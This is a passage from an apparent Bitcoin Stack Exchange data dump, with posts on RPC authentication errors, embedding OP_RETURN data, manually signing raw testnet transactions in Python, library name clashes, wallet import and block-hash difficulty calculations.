decoded&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my bitcoin.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;testnet=1&#xA;rpcuser=bitcoinrpc&#xA;rpcpassword=xxxxx&#xA;daemon=1&#xA;rpcport=8332&#xA;rpcallowip=192.168.1.39&#xA;bind=192.168.1.39&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using the &lt;a href=&quot;https://github.com/jgarzik/python-bitcoinrpc&quot; rel=&quot;nofollow&quot;&gt;python-bitcoinrpc&lt;/a&gt; library.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2021-05-27T06:48:16.917" Title="Bitcoin RPC works in bitcoin-cli but not in python-bitcoinrpc: No JSON object" Tags="|json-rpc|python|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36436" PostTypeId="2" ParentId="36433" CreationDate="2015-03-12T21:45:28.997" Score="1" Body="&lt;p&gt;I added some code to debug what bitcoin was sending back - it turned out to be a 401 error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&#xA;&quot;http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd&quot;&amp;gt;&#xA;&amp;lt;HTML&amp;gt;&#xA;&amp;lt;HEAD&amp;gt;&#xA;&amp;lt;TITLE&amp;gt;Error&amp;lt;/TITLE&amp;gt;&#xA;&amp;lt;META HTTP-EQUIV='Content-Type' CONTENT='text/html; charset=ISO-8859-1'&amp;gt;&#xA;&amp;lt;/HEAD&amp;gt;&#xA;&amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;401 Unauthorized.&amp;lt;/H1&amp;gt;&amp;lt;/BODY&amp;gt;&#xA;&amp;lt;/HTML&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why was this triggered? If you look in my bitcoin.conf, and my python code, you can see that the username is different (bitcoinrpc vs. rpcuser). Changing that fixed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, if you get the error &lt;code&gt;ValueError: No JSON object could be decoded&lt;/code&gt;, this might be your problem.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-12T21:45:28.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36437" PostTypeId="2" ParentId="8222" CreationDate="2015-03-12T22:00:42.367" Score="0" Body="&lt;p&gt;Bitstamp allows international withdrawals as long as you have a bic and swift code. YOU CAN Withdraw a minimum of $10 usd&lt;/p&gt;&#xA;" OwnerUserId="24679" LastActivityDate="2015-03-12T22:00:42.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36438" PostTypeId="1" CreationDate="2015-03-12T22:47:51.887" Score="4" ViewCount="17674" Body="&lt;p&gt;I made an altcoin using coincreator.net , but I can only mine it on an underpowered windows computer. I was wanting to make a pool so that my friends and I could mine it together from a Windows or a Mac computer. If no one knows how to do this, then could anyone tell me how to solo mine on a computer that does not have the altcoin wallet? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="21516" LastActivityDate="2015-03-23T18:36:14.570" Title="How Do I create a Mining Pool for an Altcoin?" Tags="|mining-pools|altcoin|solo-mining|altcoin-development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36439" PostTypeId="2" ParentId="25224" CreationDate="2015-03-13T00:07:53.260" Score="18" Body="&lt;p&gt;I wrote a little demo program which puts a snippet of data into an OP_RETURN script. It requires a bitcoin instance that accepts RPC connections, though it could be implemented without that. You can find it on github &lt;a href=&quot;https://github.com/nickodell/rawtransactiondemo&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. It's been tested, but only on testnet. I'm going to go through the code and explain what it's doing.&lt;/p&gt;&#xA;&lt;h3&gt;Start&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;logging.basicConfig()&#xA;logging.getLogger(&amp;quot;BitcoinRPC&amp;quot;).setLevel(logging.DEBUG)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This makes logging more verbose. It's handy because it shows what RPC calls are being made.&lt;/p&gt;&#xA;&lt;h3&gt;Connect to bitcoind&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;rpc_user = &amp;quot;bitcoinrpc&amp;quot;&#xA;rpc_password = &amp;quot;87Y9A2gs25E9HDPGc9axqSqzxMR2MyTtrMkYc5KiZk2Z&amp;quot;&#xA;&#xA;rpc = AuthServiceProxy(&amp;quot;http://%s:%s@127.0.0.1:18332/&amp;quot; % (rpc_user, rpc_password))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that your password will be different, and that you use port 8332 for mainnet instead of port 18332.&lt;/p&gt;&#xA;&lt;h3&gt;List unspent outputs&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;first_unspent = rpc.listunspent()[0]&#xA;txid = first_unspent['txid']&#xA;vout = first_unspent['vout']&#xA;input_amount = first_unspent['amount']&#xA;SATOSHI = Decimal(&amp;quot;0.00000001&amp;quot;)&#xA;change_amount = input_amount - Decimal(&amp;quot;0.005&amp;quot;) - SATOSHI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;- Decimal(&amp;quot;0.005&amp;quot;)&lt;/code&gt; part is so that we pay a transaction fee.&lt;/p&gt;&#xA;&lt;h3&gt;Create transaction&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Marker address we're going to replace&#xA;# Produces a pattern that's easy to search for&#xA;mainnet = 0&#xA;if mainnet:&#xA;    dummy_address = &amp;quot;1111111111111111111114oLvT2&amp;quot;&#xA;else:&#xA;    dummy_address = &amp;quot;mfWxJ45yp2SFn7UciZyNpvDKrzbhyfKrY8&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These are two different encodings of a Pay to Public Key Hash of all zeros. The top one is the mainnet representation, and the bottom is the testnet representation.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# My change address&#xA;change_address = &amp;quot;mhZuYnuMCZLjZKeDMnY48xsR5qkjq7bAr9&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Remember, this is my change address. If you don't change it, you'll be sending money to me.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tx = rpc.createrawtransaction([{&amp;quot;txid&amp;quot;: txid, &amp;quot;vout&amp;quot;: vout}], \&#xA;                              {change_address: change_amount, \&#xA;                               dummy_address: SATOSHI})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And now we have an actual transaction. It doesn't contain any of our own data though, so we'll have to fix that.&lt;/p&gt;&#xA;&lt;h3&gt;Replace dummy output with our own output&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Pattern to replace&#xA;# Represents length of script, then OP_DUP OP_HASH160,&#xA;# then length of hash, then 20 bytes of zeros, OP_EQUALVERIFY OP_CHECKSIG&#xA;oldScriptPubKey = &amp;quot;1976a914000000000000000000000000000000000000000088ac&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is a bit of a hack. Instead of creating our own output, we create a dummy output, then search for the pattern it makes and replace it. There's probably a better way to do this, but this seems easiest.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Data to insert&#xA;data = &amp;quot;Melons.&amp;quot;&#xA;if len(data) &amp;gt; 75:&#xA;    raise Exception(&amp;quot;Can't contain this much data-use OP_PUSHDATA1&amp;quot;)&#xA;&#xA;newScriptPubKey = &amp;quot;6a&amp;quot; + hexlify(chr(len(data))) + hexlify(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Next we create the data we want to put into the blockchain. I'm using the string &lt;code&gt;Melons.&lt;/code&gt;, but you could use anything. (Above 40 bytes is nonstandard, though.) I covered most of this in my &lt;a href=&quot;https://bitcoin.stackexchange.com/a/32053&quot;&gt;other answer&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This code will break if the data is longer than 75 bytes. If you need it for more than that, you could use OP_PUSHDATA1 instead of the single-byte pushdata that I'm using here.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#Append int of length to start&#xA;newScriptPubKey = hexlify(chr(len(unhexlify(newScriptPubKey)))) + newScriptPubKey&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This part is a little different than my other answer, because we need to include the length of the scriptPubKey also. This code will break with data longer than 251 bytes. If you want it to work on data longer than that, encode a varint correctly.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if oldScriptPubKey not in tx:&#xA;    raise Exception(&amp;quot;Something broke!&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Error checking for this very rickety method.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tx = tx.replace(oldScriptPubKey, newScriptPubKey)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Finally, a string replace swaps the new script for the old one.&lt;/p&gt;&#xA;&lt;h3&gt;Sign it&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;tx = rpc.signrawtransaction(tx)['hex']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Bitcoin handles the heaving lifting here.&lt;/p&gt;&#xA;&lt;h3&gt;Broadcast it to the network.&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;rpc.sendrawtransaction(tx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Done! Now just wait for your transaction to get into a block.&lt;/p&gt;&#xA;&lt;p&gt;I ran the code (&lt;a href=&quot;http://pastebin.com/S4KWwPSN&quot; rel=&quot;noreferrer&quot;&gt;output&lt;/a&gt;), and I produced a transaction, which you can see in Block Explorer &lt;a href=&quot;http://blockexplorer.com/testnet/tx/83c93f0f108af06e67e339a741b8c4dce3cc51eacb5c181c2a7e52cb866a4941&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. If you copy the string next to OP_RETURN, and paste it into a &lt;a href=&quot;http://www.rapidtables.com/convert/number/hex-to-ascii.htm&quot; rel=&quot;noreferrer&quot;&gt;Hex to ASCII converter&lt;/a&gt;, you get...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Melons.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Done!&lt;/p&gt;&#xA;&lt;h3&gt;Other resources&lt;/h3&gt;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;noreferrer&quot;&gt;this webpage&lt;/a&gt; helpful while writing this.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-03-13T00:13:12.083" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36440" PostTypeId="1" AcceptedAnswerId="36481" CreationDate="2015-03-13T01:08:48.713" Score="4" ViewCount="6152" Body="&lt;p&gt;I'm looking for specifics of Step15-17 from &lt;a href=&quot;https://bitcoin.stackexchange.com/a/32695/9382&quot; title=&quot;Redeeming a raw tx step by step&quot;&gt;Redeeming a raw Tx Step By Step&lt;/a&gt;, which is essentially the step where the concatenated raw Tx structure is double sha256 hashed, and then signed with an ECDSA library. I've also referred to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3374/how-to-redeem-a-basic-tx&quot;&gt;other raw transactions guides&lt;/a&gt;; &lt;strong&gt;I'm looking specifically how to sign a raw hex Tx structure without a GUI/website/etc&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've constructed a &lt;em&gt;testnet&lt;/em&gt; Tx using Bitcoincore v0.10 (a full node) and attempted the same with Python and cannot correctly sign the raw Tx structure using &lt;a href=&quot;https://github.com/warner/python-ecdsa&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python &lt;em&gt;ecdsa&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;TxID:&lt;/strong&gt; &lt;a href=&quot;http://test.webbtc.com/tx/72b764383b99fb3d112ac8b474a5d7c4242b75dbfee2d4e9cf9a6703d90f805a.json&quot; rel=&quot;nofollow noreferrer&quot;&gt;72b764383b99fb3d112ac8b474a5d7c4242b75dbfee2d4e9cf9a6703d90f805a&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;vout:&lt;/strong&gt; 1 &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;To:&lt;/strong&gt; n1hjyVvYQPQtejJcANd5ZJM5rmxHCCgWL7&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Amount:&lt;/strong&gt; 0.990 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'll show the &lt;strong&gt;Bitcoincore commands&lt;/strong&gt; first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;importprivkey 93FxXUeMJp93YQAtGeW5cE23gFN4sJbBr1RBmerLFVUDuqQqKL5&#xA;mu858WTEPiWWpAJRTMxC4ka6DJqiaCZiSB&#xA;createrawtransaction '[{&quot;txid&quot; : &quot;72b764383b99fb3d112ac8b474a5d7c4242b75dbfee2d4e9cf9a6703d90f805a&quot;, &quot;vout&quot; : 1}]' '{&quot;n1hjyVvYQPQtejJcANd5ZJM5rmxHCCgWL7&quot; : 0.990}'&#xA;signrawtransaction 01000000015a800fd903679acfe9d4e2fedb752b24c4d7a574b4c82a113dfb993b3864b7720000000000ffffffff01c09ee605000000001976a914dd6cce9f255a8cc17bda8ba0373df8e861cb866e88ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Final bitcoincore hex Tx (using &lt;code&gt;signrawtransaction&lt;/code&gt;): &#xA; &lt;code&gt;01000000015a800fd903679acfe9d4e2fedb752b24c4d7a574b4c82a113dfb993b3864b772010000008a47304402204d78d2e6c0f801573e4960fb8e51ad939380d119d25f97d15efdedf815b05f02022066bd2ab0b401e32e7ce67ea45f8224097eeafbef2335d563776e5efe6632732d01410479b22a5127d176a49d506c86f791031f94a389227ef46a8ddb725a88c944c37e3f753de6ee0b441a0237801f140810e111a1fd8276a2a5d0ee07224a1b551cc1ffffffff01c09ee605000000001976a914dd6cce9f255a8cc17bda8ba0373df8e861cb866e88ac00000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the &lt;strong&gt;Python 2.7.9&lt;/strong&gt; code follows (FYI, using &lt;em&gt;iPython 2.0&lt;/em&gt; so there's boilerplate missing in the following code) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# please excuse the hexlify/unhexlify, I work better in strings than bytes&#xA;import __future__&#xA;from pybitcointools import sha256&#xA;import hashlib, ecdsa&#xA;from ecdsa import SigningKey, SECP256k1&#xA;addr, pubkey = 'mu858WTEPiWWpAJRTMxC4ka6DJqiaCZiSB', '0479b22a5127d176a49d506c86f791031f94a389227ef46a8ddb725a88c944c37e3f753de6ee0b441a0237801f140810e111a1fd8276a2a5d0ee07224a1b551cc1'&#xA;rawtx = '01000000015a800fd903679acfe9d4e2fedb752b24c4d7a574b4c82a113dfb993b3864b7720100000000ffffffff01c09ee605000000001976a914dd6cce9f255a8cc17bda8ba0373df8e861cb866e88ac00000000' # TX structure with 00 as scriptSig, from bitcoincore createrawtransaction&#xA;# replacing the '00' scriptSig value&#xA;unsigned.append(rawtx[:82])  &#xA;unsigned.append('19'+'76a914953de657be4b305f606d9a9fbd35b070a682475788ac') # scriptSig = scriptPubKey input&#xA;unsigned.append(rawtx[84:]) &#xA;unsigned.append('01000000')  # appending sighash_all&#xA;unsigned = ''.join(unsigned)&#xA;&#xA;unsigned = '01000000015a800fd903679acfe9d4e2fedb752b24c4d7a574b4c82a113dfb993b3864b772010000001976a914953de657be4b305f606d9a9fbd35b070a682475788acffffffff01c09ee605000000001976a914dd6cce9f255a8cc17bda8ba0373df8e861cb866e88ac0000000001000000'&#xA;&#xA;# See https://github.com/warner/python-ecdsa/blob/master/README.md&#xA;sig1 = sk.sign(sha256(sha256(unsigned)), hashfunc=hashlib.sha256, sigencode=ecdsa.util.sigencode_der) # note this references 2 different sha256 functions&#xA;sig2 = [hex(len(sig1 + '\x01'))[2:], hexlify(sig1), hexlify('\x01'), hex(len(unhexlify(pubkey)))[2:], pubkey]&#xA;sig2&#xA;&amp;gt;&amp;gt;&amp;gt; ['48',  '304502200e98d54ad642488121fa1fd4d055ff8f5b40773a21ecb42b5ef44ed9fd3b103c022100a2a56ffc3f27021a4be5d1d7a3016eff08fe7f550a4a894cca845ceab54dc53b', '01', '41', '0479b22a5127d176a49d506c86f791031f94a389227ef46a8ddb725a88c944c37e3f753de6ee0b441a0237801f140810e111a1fd8276a2a5d0ee07224a1b551cc1']&#xA;sig2 = len(''.join(map(unhexlify, sig2)))&#xA;hex(len(''.join(map(unhexlify, sig2))))[2:] &#xA;&amp;gt;&amp;gt;&amp;gt; '8b'  # push 139 bytes&#xA;sig3 &#xA;&amp;gt;&amp;gt;&amp;gt; 8b48304502200e98d54ad642488121fa1fd4d055ff8f5b40773a21ecb42b5ef44ed9fd3b103c022100a2a56ffc3f27021a4be5d1d7a3016eff08fe7f550a4a894cca845ceab54dc53b01410479b22a5127d176a49d506c86f791031f94a389227ef46a8ddb725a88c944c37e3f753de6ee0b441a0237801f140810e111a1fd8276a2a5d0ee07224a1b551cc1 &#xA;signed = unsigned[:82] + sig3 + unsigned[84:]  # inserting the signature into the 00 the core software uses in place of ScriptSig&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Final (&lt;strong&gt;invalid&lt;/strong&gt;) Python Tx:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;01000000015a800fd903679acfe9d4e2fedb752b24c4d7a574b4c82a113dfb993b3864b772010000008b48304502200e98d54ad642488121fa1fd4d055ff8f5b40773a21ecb42b5ef44ed9fd3b103c022100a2a56ffc3f27021a4be5d1d7a3016eff08fe7f550a4a894cca845ceab54dc53b01410479b22a5127d176a49d506c86f791031f94a389227ef46a8ddb725a88c944c37e3f753de6ee0b441a0237801f140810e111a1fd8276a2a5d0ee07224a1b551cc1ffffffff01c09ee605000000001976a914dd6cce9f255a8cc17bda8ba0373df8e861cb866e88ac00000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending the Python generated Tx does not work. If I &lt;code&gt;sendrawtransaction &amp;lt;PYTHON HEX&amp;gt;&lt;/code&gt; in Bitcoincore it returns an invalid signature error (Specifically, &lt;em&gt;16: mandatory-script-verify-flag-failed (Script evaluated without error but finished with a false/empty top stack element) (code -26)&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(TL;DR) QUESTION&lt;/strong&gt;: Where am I going wrong in signing the raw transaction structure manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: I am aware pybitcointools and related libraries can sign Txs, but I am looking for &lt;strong&gt;specifics&lt;/strong&gt;, as even these two very thorough Bitcoin SE resources (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32628/redeeming-a-raw-transaction-step-by-step-example-required&quot;&gt;LINK1&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3374/how-to-redeem-a-basic-tx&quot;&gt;LINK2&lt;/a&gt;) brush past the details. I'd prefer an answer for &lt;a href=&quot;https://github.com/warner/python-ecdsa&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python ECDSA&lt;/a&gt; or &lt;a href=&quot;https://pypi.python.org/pypi/pycrypto&quot; rel=&quot;nofollow noreferrer&quot;&gt;PyCrypto&lt;/a&gt;, however OpenSSL I suppose is the next best answer.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-03-16T03:40:19.920" Title="Signing a raw transaction with Python ECDSA (or OpenSSL)" Tags="|raw-transaction|ecdsa|python|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36442" PostTypeId="1" CreationDate="2015-03-13T01:27:23.610" Score="2" ViewCount="1553" Body="&lt;p&gt;This is somewhat Python-based, but I feel it is more a Bitcoin question than a Python question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is running &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt; and &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib&quot; rel=&quot;nofollow&quot;&gt;python-bitcoinlib&lt;/a&gt; concurrently, as both packages use the name &lt;code&gt;bitcoin&lt;/code&gt;. &lt;a href=&quot;https://www.bountysource.com/issues/9104791-package-clash-with-https-github-com-petertodd-python-bitcoinlib&quot; rel=&quot;nofollow&quot;&gt;This BountySource discussion&lt;/a&gt; sums up the issue succinctly:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It seems that on PyPi the name &lt;code&gt;bitcoin&lt;/code&gt; is free but... (the) ... &lt;em&gt;&lt;code&gt;python-bitcoinlib&lt;/code&gt;&lt;/em&gt; package on installation uses the same name &quot;bitcoin&quot; as the current &lt;em&gt;&lt;code&gt;pybitcointools&lt;/code&gt;&lt;/em&gt;, and I've had them clash (one overwrote the other)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's also worth noting that using pip, &lt;code&gt;pip install pybitcointools&lt;/code&gt; = version 1.1.15, whereas &lt;code&gt;pip install bitcoin&lt;/code&gt; = version 1.1.&lt;strong&gt;25&lt;/strong&gt; (newer version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I generally prefer Python 2.7 but whatever solutions may be applicable just to Python 3.x would also be greatly appreciated, as using both libraries concurrently would be great.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-08-11T04:41:13.660" Title="Running pybitcointools &amp; python-bitcoinlib concurrently" Tags="|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36443" PostTypeId="1" CreationDate="2015-03-13T10:24:04.167" Score="4" ViewCount="4887" Body="&lt;p&gt;Bitcoin-qt, now bitcoin core is insane. It consumes 40GB hard disk space. It hogs network. I am thinking of using Electrum or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use another bitcoin client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum is one of them. However, I got asicminer stocks that send me dividend. I want to import my wallet.dat file into Electrum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can that be done?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="2306" LastEditDate="2015-03-13T14:28:18.610" LastActivityDate="2020-08-30T23:01:40.167" Title="Can I import my wallet from my bitcoin core for electrum?" Tags="|bitcoind|electrum|wallet-import|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2020-09-04T18:50:32.593" ContentLicense="CC BY-SA 3.0" />
  <row Id="36444" PostTypeId="2" ParentId="36433" CreationDate="2015-03-13T10:50:10.167" Score="0" Body="&lt;p&gt;If you're using the testnet, rpcport should be 18332.&lt;/p&gt;&#xA;" OwnerUserId="24683" LastActivityDate="2015-03-13T10:50:10.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36445" PostTypeId="1" AcceptedAnswerId="36451" CreationDate="2015-03-13T13:27:22.343" Score="1" ViewCount="513" Body="&lt;p&gt;What is an algorithm to determine what maximum difficulty already found hash meets?&lt;/p&gt;&#xA;" OwnerUserId="24684" LastActivityDate="2015-03-13T15:04:48.750" Title="Difficulty for hash (reversed function of &quot;does hash met difficulty/target&quot;)" Tags="|hash|difficulty|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36446" PostTypeId="2" ParentId="36445" CreationDate="2015-03-13T14:34:28.280" Score="1" Body="&lt;p&gt;A hash only meets one difficulty, because when mining, you set a field called &lt;code&gt;nBits&lt;/code&gt;, which describes the difficulty you were mining for. You cannot change this field without changing the hash and starting over.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bnTarget.SetCompact(nBits, &amp;amp;fNegative, &amp;amp;fOverflow);&#xA;[...]&#xA;if (UintToArith256(hash) &amp;gt; bnTarget)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/e564e63ef04e55b1e446f8440d51c611bc41cec6/src/pow.cpp#L84&quot; rel=&quot;nofollow&quot;&gt;(source)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-13T14:34:28.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36447" PostTypeId="5" CreationDate="2015-03-13T14:43:00.853" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-13T14:43:00.853" LastActivityDate="2015-03-13T14:43:00.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36448" PostTypeId="4" CreationDate="2015-03-13T14:43:00.853" Score="0" Body="Wallet Import Format is how Bitcoin Core represents private keys outside of the client. Example: 5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-13T14:43:00.853" LastActivityDate="2015-03-13T14:43:00.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36449" PostTypeId="5" CreationDate="2015-03-13T14:45:14.737" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-13T14:45:14.737" LastActivityDate="2015-03-13T14:45:14.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36450" PostTypeId="4" CreationDate="2015-03-13T14:45:14.737" Score="0" Body="Questions about converting wallets between different formats." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-13T14:45:14.737" LastActivityDate="2015-03-13T14:45:14.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36451" PostTypeId="2" ParentId="36445" CreationDate="2015-03-13T15:04:48.750" Score="2" Body="&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty#How_is_difficulty_calculated.3F_What_is_the_difference_between_bdiff_and_pdiff.3F&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Difficulty#How_is_difficulty_calculated.3F_What_is_the_difference_between_bdiff_and_pdiff.3F&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, block &lt;code&gt;#347444&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00000000FFFF0000000000000000000000000000000000000000000000000000 / &#xA;0x000000000000000014a5256523f37dd374dcb1e0840a85ab4d0cea60bad043d8&#xA;= 53256935148.82868&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For fun, we can calculate the difficulty the smallest block hash ever mined (as of block &lt;code&gt;#347444&lt;/code&gt;) could have satisfied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First lets get the list from my Bitcoin Abe database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MariaDB [abe]&amp;gt; SELECT hex(block_hash), block_height FROM block ORDER BY block_hash ASC LIMIT 10;&#xA;+------------------------------------------------------------------+--------------+&#xA;| hex(block_hash)                                                  | block_height |&#xA;+------------------------------------------------------------------+--------------+&#xA;| 000000000000000000002D414BB8F9175BA6C6563721E1BA2C1373C2BD94F29F |       334261 |&#xA;| 000000000000000000005A5E143087632FBF0EEA743AD99646D9FC67D40F7441 |       336175 |&#xA;| 000000000000000000006836C4009AB00485CD1DE4D5958CA7839184D0B80067 |       331908 |&#xA;| 000000000000000000007E1166D92ACF81D4E2D95934FCDEC1276B09A7DB9390 |       326055 |&#xA;| 000000000000000000007EEF13EE1F2FCF1B469BD862FCC93B48EC49548ECF6D |       343775 |&#xA;| 000000000000000000008AC86BA28085BE84AF2EBD6FC6935A004E57FB60C083 |       340483 |&#xA;| 00000000000000000000B7DE9E5C19E52BE073156924B7CF235EFB27AE8A202A |       313338 |&#xA;| 00000000000000000000EC03E3183BACC8B18437180F63F6A563267A186225BC |       331987 |&#xA;| 0000000000000000000119ADB3DA72742B1EBA98F9DC26F73858E91652B42287 |       334151 |&#xA;| 0000000000000000000119F88871F8A3C3B7BE053C98B31E9C4676DF30243CFE |       333904 |&#xA;+------------------------------------------------------------------+--------------+&#xA;10 rows in set (0.06 sec)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then we pass that to Python (I ran a modified version of the query above to print a format Python understands):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; # 334261&#xA;... 0x00000000FFFF0000000000000000000000000000000000000000000000000000 / 0x000000000000000000002D414BB8F9175BA6C6563721E1BA2C1373C2BD94F29F&#xA;1592230611213387.2&#xA;&amp;gt;&amp;gt;&amp;gt; # 336175&#xA;... 